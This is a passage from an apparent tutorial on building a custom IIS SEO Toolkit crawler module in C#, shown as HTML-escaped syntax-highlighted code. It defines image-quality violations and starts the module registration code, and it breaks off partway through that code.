&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Images"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;static&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;readonly&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationInfo&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImagePixelFormatSmall&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationInfo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"ImagePixelFormatSmall"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationLevel.Warning,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Image pixel format is too small."&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "The Image pixel format is too small"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Make sure that the quality of the image is good."&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Images"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;static&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;readonly&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationInfo&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImageResolutionSmall&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationInfo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"ImageResolutionSmall"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationLevel.Warning,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Image resolution is small."&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "The Image resolution is too small: ({res})"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Make sure that the image quality is good."&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Images"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;internal&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;static&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;AddImageTooLargeViolation(CrawlerProcessContext&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;context,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;string&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;details)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;context.Violations.Add(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Violation(ImageTooLarge,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "details"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;details))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;internal&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;static&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;AddImagePixelFormatSmall(CrawlerProcessContext&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;context)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;context.Violations.Add(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Violation(ImagePixelFormatSmall,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;internal&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;static&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;AddImageResolutionSmall(CrawlerProcessContext&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;context,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;string&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;resolution)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;context.Violations.Add(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Violation(ImageResolutionSmall,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "res"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;resolution))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt; &lt;/DIV&gt;
&lt;P&gt;As you can see in the BeginAnalysis the module registers three new properties with the Report using the Crawler property. This is only required if you want to provide either a custom text or use it for different type other than a string. Note that current version only allows primitive types like Integer, Float, DateTime, etc. &lt;/P&gt;
&lt;P&gt;During the Process method it first makes sure that it only runs for known content types, then it performs any validations raising a set of custom violations that are defined in the Violations static helper class. Note that we load the content from the Response Stream, which is the property that contains the received from the server. Note that if you were analyzing text the property Response would contain the content (this is based on Content Type, so HTML, XML, CSS, etc, will be kept in this String property).&lt;/P&gt;
&lt;H3&gt;Registering it&lt;/H3&gt;
&lt;P&gt;When running inside IIS Manager, crawler modules need to be registered as a standard UI module first and then inside their initialization they need to be registered using the IExtensibilityManager interface. In this case to keep the code as simple as possible everything is added in a single file. So add a new file called "RegistrationCode.cs" and include the contents below:&lt;/P&gt;
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;System&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Microsoft.Web.Management.Client&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Microsoft.Web.Management.SEO.Crawler&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Microsoft.Web.Management.Server&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;namespace&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SampleCrawlerModule&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;internal&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;class&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SampleCrawlerModuleProvider&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ModuleProvider&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;override&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ModuleDefinition&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;GetModuleDefinition(IManagementContext&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;context)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;return&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ModuleDefinition(Name,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;typeof&lt;/FONT&gt;&lt;FONT color=#000000&gt;(SampleCrawlerModule).AssemblyQualifiedName)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;override&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#2b91af&gt;Type&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ServiceType&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;get&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;return&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;override&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;bool&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SupportsScope(ManagementScope&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;scope)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; 